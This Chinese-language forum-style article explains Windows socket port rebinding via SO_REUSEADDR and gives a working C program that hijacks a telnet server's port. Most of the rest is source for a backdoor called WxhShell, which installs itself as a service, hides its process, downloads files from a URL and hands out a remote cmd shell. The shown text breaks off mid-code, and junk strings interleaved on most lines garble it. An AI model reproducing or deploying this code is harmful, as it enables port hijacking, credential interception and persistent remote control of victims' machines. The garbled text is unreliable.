在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Di&tm1R1 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
D3_,2 LOQEU?z saddr.sin_family = AF_INET;
m\Dbb.vBvW 4Iz~3fqB7 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
E)`+1j 8U-}%D<a bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
1|zo-'y G6I>Ry[2? 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
/JvNJ
f kY*D s; 这意味着什么?意味着可以进行如下的攻击:
Pp}j=$&j\ LTi0,03l< 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
LOp<c<+aW _/KN98+ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
P'g$F<~V !#>{..}}3
3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
_xbVAI4 x1TB
(^aX 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
2cww7z/B nzU@}/A/ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
ATwPfo8jx@ :HwB+Bjy 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
9XS'5AXN ^Zg"`&E 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
#wt#-U; 7^ER?@:W #include
oJ5V^. #include
"_9Dau$ #include
&u.t5m7( #include
x;kW }U DWORD WINAPI ClientThread(LPVOID lpParam);
O7E0{8 int main()
{
c]y<q {
H1N%uk=kV WORD wVersionRequested;
Iz
VtiX DWORD ret;
c$>Tfa'H WSADATA wsaData;
Z5+qb BOOL val;
aj1Zi3h SOCKADDR_IN saddr;
TJ+yBMd*% SOCKADDR_IN scaddr;
3C5<MxtK
int err;
+Ge-!&.;A SOCKET s;
)y._]is)b SOCKET sc;
Z:5e:M int caddsize;
iEnDS@7 HANDLE mt;
m&fm<?| DWORD tid;
58WL8xu wVersionRequested = MAKEWORD( 2, 2 );
?&"-y)FG err = WSAStartup( wVersionRequested, &wsaData );
Td?a=yu:J if ( err != 0 ) {
@<;0h| printf("error!WSAStartup failed!\n");
O9jqeF`L= return -1;
4R.rSsAH }
RH~KaV3 saddr.sin_family = AF_INET;
10t9Qv/ /JJU-A( //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
3s"x{mtH A=Dzd/CUO saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
;j S~0R saddr.sin_port = htons(23);
A[^fG_l4 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
?9.SwIxU& {
*GD?d2.6j printf("error!socket failed!\n");
R0AVAUG return -1;
{4\(HrGNk }
.t$~>e
. val = TRUE;
'f]\@&Np //SO_REUSEADDR选项就是可以实现端口重绑定的
:Fu.S1j$ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
k\I+T~~xD {
S }mqK|! printf("error!setsockopt failed!\n");
Q`'w)aV return -1;
g"^<LX- }
6Xbo:# //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
``DS?pUY //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
8Y_wS&eB //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
9F@ Q 1r'skmxq if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
"'~55bG {
.gzNdSE ret=GetLastError();
ZxLgV$U printf("error!bind failed!\n");
.3M=|rE return -1;
E:!?A@Fy }
C,HKao\ listen(s,2);
[HLXWu3 while(1)
`2()Vf {
73
ix4C caddsize = sizeof(scaddr);
#Fm, mO$v //接受连接请求
?%(: sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
j&(aoGl@ if(sc!=INVALID_SOCKET)
$GB/}$fd& {
AT+7!UGL mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
3]$qY_|7 if(mt==NULL)
.0}]/%al {
tUaDwIu# printf("Thread Creat Failed!\n");
2= S;<J break;
Db3#; }
<xv@us7 }
GAI(= CloseHandle(mt);
&>,c..Ke }
Ahv %Q%m%2 closesocket(s);
!#xk?L yB WSACleanup();
)!+~q!A return 0;
P;GRk6 }
ER-X1fD DWORD WINAPI ClientThread(LPVOID lpParam)
Rw-!P>S$ {
8&t3a+8l SOCKET ss = (SOCKET)lpParam;
*.qm+#8W SOCKET sc;
$q%r}Cdg unsigned char buf[4096];
^}8qPBz SOCKADDR_IN saddr;
.W>LEz' long num;
_!2bZ:emG DWORD val;
rlV:%
k DWORD ret;
rY yB"| //如果是隐藏端口应用的话,可以在此处加一些判断
VI_8r5o //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
}04EM saddr.sin_family = AF_INET;
G6@XRib3 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
sbqAjm} saddr.sin_port = htons(23);
J$"3w,O6+U if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
ny'?Hl'Q {
J'4Pp< printf("error!socket failed!\n");
\k&2nYVHf return -1;
kn9ul3c }
QmxI;l val = 100;
- >_rSjnM{ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
*ETSx{)8 {
;=r_R!d@ ret = GetLastError();
{^(h*zxn return -1;
fXD9w1 }
`-yo-59E[ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Fp=O:] {
zp.-=)D4e ret = GetLastError();
#O<, return -1;
e,V @t% }
;xqN#mqq if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
N5K\h}'% {
lFJDdf2:$C printf("error!socket connect failed!\n");
'ip2| UG closesocket(sc);
(+aU ,EQ closesocket(ss);
!:BmDX[<n return -1;
?5VPV9EX }
'/O >#1 while(1)
b}<?& @ {
yVZLZLm //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
`|=hl~ //如果是嗅探内容的话,可以再此处进行内容分析和记录
w&F.LiX^ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
I)]"`2w2w num = recv(ss,buf,4096,0);
sQ";
t=yC if(num>0)
Q7#Yw"#G! send(sc,buf,num,0);
mZ_643| else if(num==0)
R^*%yjy9 break;
g$S|CqRG num = recv(sc,buf,4096,0);
{wJ8%
;Z7 if(num>0)
z}.Q~4 f0D send(ss,buf,num,0);
{#U3A_y else if(num==0)
W!jg break;
lf2Q }
e)BU6m% closesocket(ss);
~S\y)l\wZ closesocket(sc);
y).dw( return 0 ;
2UbTKN }
M1HGXdN* B "Sb<"$: a*2JLK ==========================================================
ka=EOiX. <Dk6o`7^N 下边附上一个代码,,WXhSHELL
to,\sc 0^('hS& ==========================================================
9Ib#A `En>o~ L; #include "stdafx.h"
y?Cq{( 2r^G;,{ #include <stdio.h>
;X;q8J^_K_ #include <string.h>
nI_UL #include <windows.h>
0+{CN|0 #include <winsock2.h>
yt+d
f0l #include <winsvc.h>
[x[nTIg #include <urlmon.h>
2]:Z7Ji nVyV]'-z #pragma comment (lib, "Ws2_32.lib")
nG4}8 #pragma comment (lib, "urlmon.lib")
,II-:&H *G&3NSM- #define MAX_USER 100 // 最大客户端连接数
2H,n"-9+ #define BUF_SOCK 200 // sock buffer
!-AK@`i. #define KEY_BUFF 255 // 输入 buffer
*e,GXU@ Gr&YzbSX #define REBOOT 0 // 重启
bDtb"V8e #define SHUTDOWN 1 // 关机
%LjhK,'h \%/Y(YVm #define DEF_PORT 5000 // 监听端口
&"6%D|Z0 +bdjZD3 #define REG_LEN 16 // 注册表键长度
L)"E _ #define SVC_LEN 80 // NT服务名长度
FE'F@aS\ 1| XC$0 // 从dll定义API
|SX31T9rG typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
4{6XZ_J1 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
wX+KW0|> typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
jJqq:.XqB8 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
)0XJOm wl5+VC*l0 // wxhshell配置信息
"30R%oL]= struct WSCFG {
BTnrgs#[ int ws_port; // 监听端口
'*=kt char ws_passstr[REG_LEN]; // 口令
5H!6m_,w int ws_autoins; // 安装标记, 1=yes 0=no
3[Z7bhpV char ws_regname[REG_LEN]; // 注册表键名
}. t8Cy9G char ws_svcname[REG_LEN]; // 服务名
v|IG
G'r char ws_svcdisp[SVC_LEN]; // 服务显示名
UFPSQ char ws_svcdesc[SVC_LEN]; // 服务描述信息
Z/oP?2/Afh char ws_passmsg[SVC_LEN]; // 密码输入提示信息
vYNu=vnM int ws_downexe; // 下载执行标记, 1=yes 0=no
|2!cPf^8 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
*\# ?)q char ws_filenam[SVC_LEN]; // 下载后保存的文件名
WfH4*e f#3!Q!C^ };
m{?uR.O !SAR/sdXf // default Wxhshell configuration
St|B9V?eEB struct WSCFG wscfg={DEF_PORT,
? t_$C,A+ "xuhuanlingzhe",
:9]"4ktoJ 1,
5Y#~+Im=[@ "Wxhshell",
1kczlTF "Wxhshell",
d>hLnz1O "WxhShell Service",
<G60R^o "Wrsky Windows CmdShell Service",
DAVgP7h' "Please Input Your Password: ",
^3lEfI<pBm 1,
wS;hC&~2 "
http://www.wrsky.com/wxhshell.exe",
Bhf4 /$ "Wxhshell.exe"
3-4CGSX;X };
4fL/,j/^ _i pY; // 消息定义模块
O m5+j:YM char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
#,;X2% c char *msg_ws_prompt="\n\r? for help\n\r#>";
z;1qYW[-A char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
8)V6yKGO char *msg_ws_ext="\n\rExit.";
d)'J: char *msg_ws_end="\n\rQuit.";
js F96X{ char *msg_ws_boot="\n\rReboot...";
&XZS}n char *msg_ws_poff="\n\rShutdown...";
bR}=bp4K char *msg_ws_down="\n\rSave to ";
f0ME$:2 E-i<^&E char *msg_ws_err="\n\rErr!";
LWIPq" char *msg_ws_ok="\n\rOK!";
`kM:5f+>W |.{[%OJP char ExeFile[MAX_PATH];
~9JLqN" int nUser = 0;
LgJUMR8vUO HANDLE handles[MAX_USER];
%y[
t+)!E int OsIsNt;
^nN@@\-5 56!/E5qgW SERVICE_STATUS serviceStatus;
2[~|6@n SERVICE_STATUS_HANDLE hServiceStatusHandle;
\{{i:&] H R}0xWPt9G // 函数声明
;Y%.m3 int Install(void);
VjGtEIew int Uninstall(void);
<?Y.w1 int DownloadFile(char *sURL, SOCKET wsh);
eG08Xt|lc int Boot(int flag);
%dDwus void HideProc(void);
KiYz]IM$4 int GetOsVer(void);
m$H(l4wB> int Wxhshell(SOCKET wsl);
~O~R,h> void TalkWithClient(void *cs);
U( (F< int CmdShell(SOCKET sock);
Wer.VL int StartFromService(void);
VhX~sJ1%Gp int StartWxhshell(LPSTR lpCmdLine);
o\-: BiI`oCX VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
{N`<THPP VOID WINAPI NTServiceHandler( DWORD fdwControl );
c5AEn -Q L%5g]= // 数据结构和表定义
e!p?~70
SERVICE_TABLE_ENTRY DispatchTable[] =
7!jbID~ {
rF)[ Sed:T {wscfg.ws_svcname, NTServiceMain},
:uQ~?amM {NULL, NULL}
B^lm'/,@ };
sY@x(qkIOc U9%#(T$ // 自我安装
L0EF
CQ7 int Install(void)
{/K_NSg+h {
~[3B<^e char svExeFile[MAX_PATH];
/p7-D; HKEY key;
`uLH3sr strcpy(svExeFile,ExeFile);
Qv/Kb w
N{ 6R';[um?q // 如果是win9x系统,修改注册表设为自启动
d'*:2;)g^ if(!OsIsNt) {
(f>~+-IL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
p}9bZKyf RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Ai 5|N RegCloseKey(key);
<L>$Y#wU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
L_QJS2 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Av"^uevfs RegCloseKey(key);
EjFK zx return 0;
ht5eb"c+8 }
Dfl%Knl@J }
cUK9EOPe }
"?(N else {
e sDd>W 8"KaW2/% // 如果是NT以上系统,安装为系统服务
0pl | SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
sEm064 if (schSCManager!=0)
i2Cw#x0s {
^E= w3g& SC_HANDLE schService = CreateService
}.74w0~0^ (
FCPiU3 schSCManager,
(|_N2R! wscfg.ws_svcname,
2#t35fU wscfg.ws_svcdisp,
uwhb-.w SERVICE_ALL_ACCESS,
gbL!8Z1h SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
LS{t7P9K SERVICE_AUTO_START,
@-G^Jm9~\m SERVICE_ERROR_NORMAL,
GEQ3r'B| svExeFile,
$9Asr07 NULL,
e
QGhX( NULL,
t%Hy#z1W_ NULL,
9~6)u=4sS" NULL,
N_eZz#); NULL
a^QyYX}\qR );
c0Oc-,6J if (schService!=0)
|}KNtIX\G {
Jrm 9,7/ CloseServiceHandle(schService);
TaTs-]4 CloseServiceHandle(schSCManager);
kZJ.G strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
4Y:[YlfD. strcat(svExeFile,wscfg.ws_svcname);
D0HLU
~o if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
P8=!/L2? RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RT$.r5l_@ RegCloseKey(key);
M73d^z return 0;
/
+9o?Kxya }
Z+]Uw }
64w4i)?eM[ CloseServiceHandle(schSCManager);
& U6 bOH%P }
)MlT=k6S }
-
}2AXP2q NvU~? WN return 1;
+=&A1{kR3 }
lx"#S'^~ )[d>?%vfd // 自我卸载
"l.1 UB& int Uninstall(void)
41Htsj {
mZ^ev; HKEY key;
L6E8A?>5rD dzn[4 if(!OsIsNt) {
C=uYX" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
FEzjP$ RegDeleteValue(key,wscfg.ws_regname);
ubZcpqm?Q RegCloseKey(key);
f!n0kXVu6U if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
*D6X&Hg&5 RegDeleteValue(key,wscfg.ws_regname);
rj> _L RegCloseKey(key);
8O_0x)X return 0;
K>x+*UPL }
h(1o!$EU2 }
v(vJ[_&% }
Od5I:p]N else {
/n&Y6@W %
XS2;V SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
!&b
wFO>P if (schSCManager!=0)
.,$<waGD {
'g7eN@Wh.z SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
q|_t=YM@ if (schService!=0)
+M/1,& {
g&oAa;~o if(DeleteService(schService)!=0) {
;R
x Rap CloseServiceHandle(schService);
r}]%(D](v CloseServiceHandle(schSCManager);
"0edk"hk return 0;
~.H*" }
|A0)-sVZ CloseServiceHandle(schService);
8BgHoQ* }
oR_qAb CloseServiceHandle(schSCManager);
1QPS=;|) }
CW9vC }
D8S3YdJ p3R: 3E6p return 1;
svTKt%6X }
^^C@W?.z r(Vz( // 从指定url下载文件
m}oqs0xx int DownloadFile(char *sURL, SOCKET wsh)
GZ@`}7b} {
;ZVT[gi* HRESULT hr;
'gQ0=6(\ char seps[]= "/";
K6s%=.Zi( char *token;
|>U:Pb( char *file;
0`D`
Je<t char myURL[MAX_PATH];
01^+HEbm char myFILE[MAX_PATH];
]/klKqz q*E<~!jL strcpy(myURL,sURL);
xq<3*Bcw token=strtok(myURL,seps);
8\H*Z2yF+ while(token!=NULL)
9KgGK cy% {
Gi=s|vt file=token;
t6JM% token=strtok(NULL,seps);
$/p/9 - }
k~,({T< ! O~: GetCurrentDirectory(MAX_PATH,myFILE);
Zl4X,9Wt strcat(myFILE, "\\");
|0Y:
/uL#) strcat(myFILE, file);
VsJ4sb7 send(wsh,myFILE,strlen(myFILE),0);
pdFa] send(wsh,"...",3,0);
k(bDj[0q^ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
psaPrE if(hr==S_OK)
;)'@kzi return 0;
:U!@ else
$2gX!) return 1;
d)yu`U iXsX@ S^F }
6";ew:Ih^ !Yi2g-( // 系统电源模块
?Xq"Q^o4#e int Boot(int flag)
9>I&Z8J$M {
(O@fgBM HANDLE hToken;
uZ/XI {/ TOKEN_PRIVILEGES tkp;
g;n6hXq4 kQt#^pO) if(OsIsNt) {
><Awk~KR OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
](2\w9i% LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
L)qDtXd4 tkp.PrivilegeCount = 1;
$]`rWSYtv` tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
R|u2ga~ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
HZJ)q`1E if(flag==REBOOT) {
%UXmWXF4$ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
nd4Z5=X return 0;
fb*h.6^y9 }
ZCC T else {
t|jp]Vp if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
jo}yeGbU return 0;
z?I"[M }
+~[>Usf }
3Ud{W$Ym else {
dWK"Tkf\ if(flag==REBOOT) {
!-cK@>.pE if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
GVK c4HGt return 0;
1&.q#,EMn( }
$c0<I59&| else {
f]C`]qg if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
@yj$ return 0;
KKcajN }
\MU-D,@ }
WM8])}<L dMlJ2\]u return 1;
&)ED||r, }
E gD$A!6N8 \'9(zb vz9 // win9x进程隐藏模块
uy'qIq void HideProc(void)
Q*54!^l+_r {
#i'wDvhol vKFEA7 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
[fZhfZ)< if ( hKernel != NULL )
rf=oH
} {
N eC]MW pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
_fM=J+ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
f>zd,|)At FreeLibrary(hKernel);
P|tNmv[; }
%u!)1oOIz LFX[v return;
f!K{f[aDa }
9cXL4 UpSa7F:Uw // 获取操作系统版本
'Y22HVUX int GetOsVer(void)
[R(d Cq> {
\ !qe@h< OSVERSIONINFO winfo;
$g&_7SJ@ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
yW]>v>l:Eg GetVersionEx(&winfo);
Hg04pZupN if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
oH"VrS 6 return 1;
&ev#C%Nu else
CsX@u# return 0;
@QfbIP9 }
l[Ko> u$rSM0CJ // 客户端句柄模块
+#Ga}eCM int Wxhshell(SOCKET wsl)
KSve_CBOh {
6ee1^> SOCKET wsh;
rKkFflOVO struct sockaddr_in client;
:/\KVz'fw} DWORD myID;
DCSmEy`. /:ju/~R} while(nUser<MAX_USER)
f64}#E|w {
4K0Fc^- int nSize=sizeof(client);
?W\KIp\Kn wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
<~hx ~"c if(wsh==INVALID_SOCKET) return 1;
_+ERX[i #}+_Hy handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
?.g="{5X if(handles[nUser]==0)
C
{G647 closesocket(wsh);
? ]H'egG6 else
l{8t;!2t nUser++;
zEk/#& }
7?]wAH89 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
1B`JvNtd ^%t{:\ return 0;
p?'
F$Wz }
Exz(t' "P!zu(h4 // 关闭 socket
ekCt1^5Y void CloseIt(SOCKET wsh)
&\W5|*`x- {
YDaGr6y4i closesocket(wsh);
$]~|W3\G nUser--;
iUq{c+h
ExitThread(0);
{4B7a6 }
')Qb,#/,% 7,3 g{8 // 客户端请求句柄
A",Xn/d void TalkWithClient(void *cs)
JpZ3T~Wrf {
0IxHB|^$ l'RuzBQr SOCKET wsh=(SOCKET)cs;
g>n1mK| char pwd[SVC_LEN];
:1gcLsF char cmd[KEY_BUFF];
>K
7]G?+7E char chr[1];
, L5.KwB int i,j;
]D@y""{--s J@RV ^2 while (nUser < MAX_USER) {
?MD\\gN tg;AF<VI if(wscfg.ws_passstr) {
q)!G5j3 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
q]DE\*@ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
F>ps&h //ZeroMemory(pwd,KEY_BUFF);
i|N(=Z= i=0;
A&`7 l5~X while(i<SVC_LEN) {
Q32GI,M%B D'
`[y // 设置超时
DIWcX<s fd_set FdRead;
kYu"`_n} struct timeval TimeOut;
v;:. k,E0 FD_ZERO(&FdRead);
tRXR/;3O FD_SET(wsh,&FdRead);
2l}3L TimeOut.tv_sec=8;
0c]3 ,# TimeOut.tv_usec=0;
$Hal] int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
;|.IUXEgcF if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
V&>mD"~MP , R $ZZ4 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
7Yly^ pwd
=chr[0]; /S`d?AV
if(chr[0]==0xd || chr[0]==0xa) { e[%g'}D:-
pwd=0; {3G2-$yb
break; }O8#4-E_Ji
} Os)}kkja
i++; D1~3 3;
} a*?,wmzl
d~w}{LR[1
// 如果是非法用户,关闭 socket F17nWvF
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =Cp}iM
} F2CoXe7
\"Aw
ATQ
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3t$)saQR
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YCu9dBeVS
2@a]x(
while(1) { Hv .C5mo
8EAkM*D w
ZeroMemory(cmd,KEY_BUFF); ?Q/9aqHe;
0
hS(9y40
// 自动支持客户端 telnet标准 Jc, {n*
j=0; so }Kb3 n
while(j<KEY_BUFF) { c{cJ>d 0
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vY(xH>Fd
cmd[j]=chr[0];
qh9Ix
if(chr[0]==0xa || chr[0]==0xd) { b;$jh
cmd[j]=0; &&($LnyA]
break; `KJBQK
} v1~`76^
j++; MUqV$#4@I
} (C!33s1
/@f3|L<1@V
// 下载文件 ]z5gC`E0
if(strstr(cmd,"http://")) { Hv<jf38
send(wsh,msg_ws_down,strlen(msg_ws_down),0); pax;#*QcQ
if(DownloadFile(cmd,wsh)) C]D voJmBs
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @G0j/@v
else uNG?`>4>
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 16n8[U!
} [9xUMX^}
else { EFS2 zU
|k=L&vs
switch(cmd[0]) { @Xq3>KJ_)H
?#_] Lzn'
// 帮助
B!+`km5
case '?': { 3bPF+(`J
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $_NP4V8|z/
break; tS&rR0<OW
} d=8q/]_p
// 安装 u7kw/_f
case 'i': { psZ #^@>mJ
if(Install()) H| 1O>p&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #F!'B|n
else tO]`
I-
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Irnfr\l.
break; i-_ * 5%A
} }dO^q-t$3
// 卸载 9?#L/
case 'r': { K\`>'C2_V
if(Uninstall()) J\x.:=V
send(wsh,msg_ws_err,strlen(msg_ws_err),0); WZJ}HHePr
else I:G4i}mA
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L/n?1'he
break; 2q,> *B?
} #iAEcC0k5
// 显示 wxhshell 所在路径 Wf>scl`s
case 'p': { h$~\to$C
char svExeFile[MAX_PATH]; a'2^kds
strcpy(svExeFile,"\n\r"); CN, oH4IU
strcat(svExeFile,ExeFile); ]:vo"{*C
send(wsh,svExeFile,strlen(svExeFile),0); 'vUx4s
break; ^z\*;
f
} %wuD4PRK
// 重启 "iY=1F"\R
case 'b': { .#ASo!O5q
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); hIv8A_>@`
if(Boot(REBOOT)) I,d5Y3mC
send(wsh,msg_ws_err,strlen(msg_ws_err),0); FOx&'dH%@
else { O$,MdhyXC
closesocket(wsh); >|@i8?|E
ExitThread(0); ~i y]X:U
} ?#0|A?U
break; xf]_@T;
} a@&P\"k
// 关机 8Mf{6&F=
case 'd': { HRxA0y=
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); YB1uudW9
if(Boot(SHUTDOWN)) R:t>PFwo
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }{.0mu9
else { a2'f#[as
closesocket(wsh); b
qNM
ExitThread(0); ;5 JzrbtL
} 7r4|>F
break; rr=e
} pZg}7F{$
// 获取shell -@EAL:kY
case 's': { $'obj
CmdShell(wsh); T,D(Xh
closesocket(wsh); %}=:gF
ExitThread(0); <4|/AF*>
break; ,_(AiQK
} 8A ;)5!
// 退出 efu'PfZ`&
case 'x': { n$O[yRMI[
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); hPB^|#}
CloseIt(wsh); <//#0r*
break; d1rIU6
} 3pF7}P
// 离开 F$k^px
case 'q': { ?'$Yj>R6
send(wsh,msg_ws_end,strlen(msg_ws_end),0); @ysc?4% q
closesocket(wsh); LnZC)cL
P/
WSACleanup(); }[>X}"_e
exit(1); U$,W/G}m
break; Lm{qFu
} $)O=3dNbo
} q&RezHK l
} C6T?D5
dRD t.U!T
// 提示信息 b&j}f
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RU_wr<
} 9_
} +xc1cki_{
9$[PAjwk
return; NM{/rvM
} iUua!uC
.*(xkJI3
// shell模块句柄 %H AforH
int CmdShell(SOCKET sock) hE|W%~Jx
{ &Q`{ Gk
STARTUPINFO si; C3"5XR_Ov
ZeroMemory(&si,sizeof(si)); j@HOU~x
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; qTuQ]*[-
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x[_SNX"
PROCESS_INFORMATION ProcessInfo; O;dtz\
char cmdline[]="cmd"; y k{8O.g
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0lm7'H*~
return 0; H-|%\9&{S
} z?DI4O#Up
:[r/
Y
// 自身启动模式 7H l>UX,|
int StartFromService(void)
h/*q +H
{ ,|RN?1 ?U
typedef struct L]kd.JJvy
{ r&/M')}?Lw
DWORD ExitStatus; 9{KL^O?g
